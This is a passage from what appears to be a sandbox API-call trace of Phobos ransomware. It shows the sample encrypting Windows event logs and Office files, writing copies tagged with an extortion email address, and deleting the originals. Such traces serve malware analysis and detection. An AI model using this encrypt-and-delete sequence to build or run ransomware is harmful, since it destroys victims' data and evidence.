lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.950] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.950] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0060.950] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcb10) returned 1 [0060.950] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.950] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x101000, lpOverlapped=0x0) returned 1 [0060.985] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x101010, dwBufLen=0x101010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x101010) returned 1 [0060.986] WriteFile (in: hFile=0x334, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x101010, lpOverlapped=0x0) returned 1 [0061.003] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dccd0) returned 1 [0061.003] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0061.003] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xc0, dwBufLen=0xc0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xc0) returned 1 [0061.003] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0061.003] WriteFile (in: hFile=0x334, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x172, lpOverlapped=0x0) returned 1 [0061.004] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0061.004] CloseHandle (hObject=0x2fc) returned 1 [0061.004] CloseHandle (hObject=0x334) returned 1 [0061.307] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1 [0061.308] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0061.308] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.314] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=1118208) returned 1 [0061.314] CloseHandle (hObject=0x334) returned 1 [0061.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0061.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\security.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.314] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.380] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0061.386] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0061.386] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\security.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.386] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc910) returned 1 [0061.386] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0061.386] ReadFile (in: hFile=0x334, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x110100, lpOverlapped=0x0) returned 1 [0061.421] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x110100, dwBufLen=0x110100 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x110100) returned 1 [0061.422] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x110100, lpOverlapped=0x0) returned 1 [0061.442] ReadFile (in: hFile=0x334, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0xf00, lpOverlapped=0x0) returned 1 [0061.442] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xf10, dwBufLen=0xf10 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xf10) returned 1 [0061.442] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf10, lpOverlapped=0x0) returned 1 [0061.442] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb10) returned 1 [0061.442] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0061.442] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0061.442] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0061.442] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0061.442] CryptDestroyKey (hKey=0x10dc910) returned 1 [0061.442] CloseHandle (hObject=0x334) returned 1 [0061.442] CloseHandle (hObject=0x304) returned 1 [0061.542] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0061.543] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0061.543] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.543] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0061.543] CloseHandle (hObject=0x304) returned 1 [0061.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0061.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\windows powershell.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.544] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.544] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0061.544] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0061.544] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\windows powershell.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.544] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc710) returned 1 [0061.544] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0061.544] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0061.730] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0061.730] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0061.732] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcc10) returned 1 [0061.732] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0061.732] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0061.732] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0061.732] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0061.732] CryptDestroyKey (hKey=0x10dc710) returned 1 [0061.732] CloseHandle (hObject=0x304) returned 1 [0061.732] CloseHandle (hObject=0x338) returned 1 [0061.733] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0061.735] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0061.735] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.735] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0061.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.855] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=15984) returned 1 [0061.855] CloseHandle (hObject=0x300) returned 1 [0061.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0061.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.856] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0061.856] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0061.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.856] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcc90) returned 1 [0061.856] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0061.856] ReadFile (in: hFile=0x300, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x3e70, lpOverlapped=0x0) returned 1 [0061.871] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x3e80, dwBufLen=0x3e80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x3e80) returned 1 [0061.871] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x3e80, lpOverlapped=0x0) returned 1 [0061.872] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc550) returned 1 [0061.872] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0061.872] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0061.872] CryptDestroyKey (hKey=0x10dc550) returned 1 [0061.872] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0061.872] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0061.872] CloseHandle (hObject=0x300) returned 1 [0061.873] CloseHandle (hObject=0x338) returned 1 [0061.874] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0061.875] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0061.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.875] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=18624) returned 1 [0061.875] CloseHandle (hObject=0x338) returned 1 [0061.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0061.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.875] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0061.875] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0061.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.876] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcc10) returned 1 [0061.876] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0061.876] ReadFile (in: hFile=0x338, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x48c0, lpOverlapped=0x0) returned 1 [0061.967] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x48d0, dwBufLen=0x48d0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x48d0) returned 1 [0061.967] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x48d0, lpOverlapped=0x0) returned 1 [0061.968] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc610) returned 1 [0061.968] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0061.968] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60, dwBufLen=0x60 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60) returned 1 [0061.968] CryptDestroyKey (hKey=0x10dc610) returned 1 [0061.968] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x112, lpOverlapped=0x0) returned 1 [0061.968] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0061.968] CloseHandle (hObject=0x338) returned 1 [0061.968] CloseHandle (hObject=0x300) returned 1 [0061.969] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0061.970] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0061.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.973] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=18624) returned 1 [0061.973] CloseHandle (hObject=0x330) returned 1 [0061.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0061.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.974] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0061.974] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0061.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.974] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc950) returned 1 [0061.974] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0061.974] ReadFile (in: hFile=0x330, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x48c0, lpOverlapped=0x0) returned 1 [0062.007] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x48d0, dwBufLen=0x48d0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x48d0) returned 1 [0062.007] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x48d0, lpOverlapped=0x0) returned 1 [0062.008] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb10) returned 1 [0062.008] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0062.008] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60, dwBufLen=0x60 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60) returned 1 [0062.008] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0062.008] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x112, 